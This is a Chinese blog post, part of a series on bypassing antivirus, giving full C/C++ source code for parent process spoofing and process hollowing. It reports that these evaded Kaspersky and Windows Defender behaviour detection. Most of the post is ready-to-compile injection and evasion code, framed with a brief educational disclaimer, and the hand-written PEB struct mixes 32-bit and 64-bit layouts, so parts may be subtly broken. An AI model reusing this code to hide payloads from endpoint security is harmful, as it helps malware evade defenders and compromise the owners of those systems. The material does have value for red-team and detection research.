本篇文章是Bypass思路系列文章的第二篇,后续会持续更新有关Bypass的思路
因为工作原因,文章断断续续,时间线上会存在差异,思路及代码可行性仅供参考。
若文章中存在说的不清楚或者错误的地方 欢迎师傅们指正 感激不尽!!!
免责声明:这不是制作恶意软件的教程,而是仅用于教育目的的实际案例。
前言
在上一篇文章末尾提到两个对CreateProcess的利用方法,本篇文章对两个方法进行补充。
一、SpoofParentProcess
父进程欺骗技术,其实就是创建一个进程,指定其他进程为这个新创建进程的父进程。过多详情笔者就不描述了,前辈的文章写的足够详细了。
0x00 Bypass Code
以下为笔者实现bypass的代码:
#include <Windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <string>
using namespace std;
int main(int argc, char **canttrustthis)
{
string targetProcess = "explorer.exe";
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
HANDLE parent;
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (strcmp(entry.szExeFile, targetProcess.c_str()) == 0)
{
parent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
break;
}
}
}
CloseHandle(snapshot);
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOEXA si = { 0 };
SIZE_T sizeToAllocate;
// Initialize the process start attributes
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);
// Set the parent process
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent,
sizeof(HANDLE), NULL, NULL))
{
return 0;
}
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
BOOL success = CreateProcessA(
NULL,
const_cast<char *>("C:\\Windows\\system32\\notepad.exe"),
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
(LPSTARTUPINFOA)&si,
&pi
);
CloseHandle(parent);
return 0;
}
Tips:父进程欺骗需要用户权限去启动,父进程为NT AUTHORITY SYSTEM权则无法创建进程。
0x01 VirusTotal Killing Results
实现Bypass的编译器是VS2010,选用MFC应用程序。
0x02 Behavior Detection
经Kaspersky、Windows Defender等动态行为测试,均无提示。
二、ProcessHollowing
傀儡进程是指将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。
0x00 Implementation Principle
以挂起的方式打开目标进程,将ShellCode代码写入目标进程,并修改目标进程的执行流程,使其转而执行ShellCode代码,这样,进程还是目标原本进程,但执行的操作却替换成我们的ShellCode了。
0x01 Implementation Process
- 通过 CreateProcess 创建进程,传入参数 CREATE_SUSPENDED 使进程挂起
- 通过 NtUnmapViewOfSection 清空新进程的内存数据
- 通过 VirtualAllocEx 申请新的内存
- 通过 WriteProcessMemory 向内存写入 payload
- 通过 SetThreadContext 设置入口点
- 通过 ResumeThread 唤醒进程,执行 payload
0x03 Bypass
ProcessHollowing.cpp
#include "ProcessHollowing.h"
int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath)
{
STARTUPINFOA si = { 0, };
PROCESS_INFORMATION pi = { 0, };
si.cb = sizeof(si);
CreateProcessA(NULL, DestinationProgramPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (!pi.hProcess)
{
return -1;
}
CONTEXT Context = { 0, };
Context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &Context) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
PEB peb = { 0, };
if (ReadProcessMemory(pi.hProcess, Context.Rdx, &peb, sizeof(PEB), NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
if (NtUnmapViewOfSection(pi.hProcess, peb.ImageBaseAddress) == STATUS_ACCESS_DENIED)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
HANDLE hFile = CreateFileA(SourceProgramPath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
DWORD FileSize = GetFileSize(hFile, NULL);
BYTE *SourceBuffer = malloc(FileSize);
ZeroMemory(SourceBuffer, FileSize);
ReadFile(hFile, SourceBuffer, FileSize, NULL, NULL);
IMAGE_DOS_HEADER *DOS = SourceBuffer;
IMAGE_NT_HEADERS64 *NT = (ULONGLONG)DOS + DOS->e_lfanew;
IMAGE_SECTION_HEADER (*SECTION)[1] = (ULONGLONG)NT + sizeof(IMAGE_NT_HEADERS64);
PVOID SrcImageBase = NT->OptionalHeader.ImageBase;
PVOID DestImageBase = VirtualAllocEx(pi.hProcess, peb.ImageBaseAddress, NT->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (DestImageBase == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
NT->OptionalHeader.ImageBase = DestImageBase;
if (WriteProcessMemory(pi.hProcess, DestImageBase, SourceBuffer, NT->OptionalHeader.SizeOfHeaders, NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (SECTION[i]->PointerToRawData == NULL)
{
continue;
}
PVOID SrcSectionRowDataPointer = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
PVOID DestSectionVirtualAddress = (ULONGLONG)DestImageBase + SECTION[i]->VirtualAddress;
if (WriteProcessMemory(pi.hProcess, DestSectionVirtualAddress, SrcSectionRowDataPointer, SECTION[i]->SizeOfRawData, NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
}
if (DestImageBase != SrcImageBase)
{
IMAGE_BASE_RELOCATION *BASE_RELOCATION = NULL;
for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (NT->OptionalHeader.DataDirectory[5].VirtualAddress == SECTION[i]->VirtualAddress)
{
BASE_RELOCATION = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
break;
}
}
DWORD SIZE_RELOCTION = NT->OptionalHeader.DataDirectory[5].Size;
if (BASE_RELOCATION == NULL || SIZE_RELOCTION == 0)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
DWORD SIZE = 0;
while (SIZE_RELOCTION != SIZE)
{
BASE_RELOCATION_ENTRY (*Type)[1] = (ULONGLONG)BASE_RELOCATION + 8;
for (int i = 0; i < (BASE_RELOCATION->SizeOfBlock - 8) / 2; i++)
{
if ((*Type[i]).Offset != NULL)
{
PVOID HardCodingAddress = (ULONGLONG)DestImageBase + BASE_RELOCATION->VirtualAddress + (*Type[i]).Offset;
ULONGLONG HardCodingData;
if (ReadProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
{
continue;
}
HardCodingData -= (ULONGLONG)SrcImageBase;
HardCodingData += (ULONGLONG)DestImageBase;
if (WriteProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
{
continue;
}
}
}
SIZE += BASE_RELOCATION->SizeOfBlock;
BASE_RELOCATION = (ULONGLONG)BASE_RELOCATION + BASE_RELOCATION->SizeOfBlock;
}
}
ULONGLONG NewEntryPoint = (ULONGLONG)DestImageBase + NT->OptionalHeader.AddressOfEntryPoint;
Context.Rcx = NewEntryPoint;
if (SetThreadContext(pi.hThread, &Context) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
if (ResumeThread(pi.hThread) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
free(SourceBuffer);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdParam,
int nCmdShow)
{
ProcessHollowing("explorer.exe", "MessageBox.exe");
return 0;
}
ProcessHollowing.h
#pragma once
#include <stdio.h>
#include <windows.h>
#include <dbghelp.h>
#define STATUS_ACCESS_DENIED 0xC0000022
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB
{
BYTE InheritedAddressSpace;
BYTE ReadImageFileExecOptions;
BYTE BeingDebugged;
BYTE SpareBool;
void *Mutant;
void *ImageBaseAddress;
void *Ldr;
void *ProcessParameters;
void *SubSystemData;
void *ProcessHeap;
void *FastPebLock;
void *FastPebLockRoutine;
void *FastPebUnlockRoutine;
DWORD EnvironmentUpdateCount;
void *KernelCallbackTable;
DWORD SystemReserved[1];
DWORD ExecuteOptions : 2;
DWORD SpareBits : 30;
void *FreeList;
DWORD TlsExpansionCounter;
void *TlsBitmap;
DWORD TlsBitmapBits[2];
void *ReadOnlySharedMemoryBase;
void *ReadOnlySharedMemoryHeap;
void **ReadOnlyStaticServerData;
void *AnsiCodePageData;
void *OemCodePageData;
void *UnicodeCaseTableData;
DWORD NumberOfProcessors;
DWORD NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
DWORD HeapSegmentReserve;
DWORD HeapSegmentCommit;
DWORD HeapDeCommitTotalFreeThreshold;
DWORD HeapDeCommitFreeBlockThreshold;
DWORD NumberOfHeaps;
DWORD MaximumNumberOfHeaps;
void **ProcessHeaps;
void *GdiSharedHandleTable;
void *ProcessStarterHelper;
DWORD GdiDCAttributeList;
void *LoaderLock;
DWORD OSMajorVersion;
DWORD OSMinorVersion;
WORD OSBuildNumber;
WORD OSCSDVersion;
DWORD OSPlatformId;
DWORD ImageSubsystem;
DWORD ImageSubsystemMajorVersion;
DWORD ImageSubsystemMinorVersion;
DWORD ImageProcessAffinityMask;
DWORD GdiHandleBuffer[34];
void (*PostProcessInitRoutine)();
void *TlsExpansionBitmap;
DWORD TlsExpansionBitmapBits[32];
DWORD SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
void *pShimData;
void *AppCompatInfo;
UNICODE_STRING CSDVersion;
void *ActivationContextData;
void *ProcessAssemblyStorageMap;
void *SystemDefaultActivationContextData;
void *SystemAssemblyStorageMap;
DWORD MinimumStackCommit;
} PEB, *PPEB;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessConsoleHostProcess,
ProcessWindowInformation,
MaxProcessInfoClass
} PROCESSINFOCLASS;
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef struct _BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
NTSYSAPI NTSTATUS NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath);
0X04 VirusTotal Killing Results
0x05 Behavior Detection
参考链接: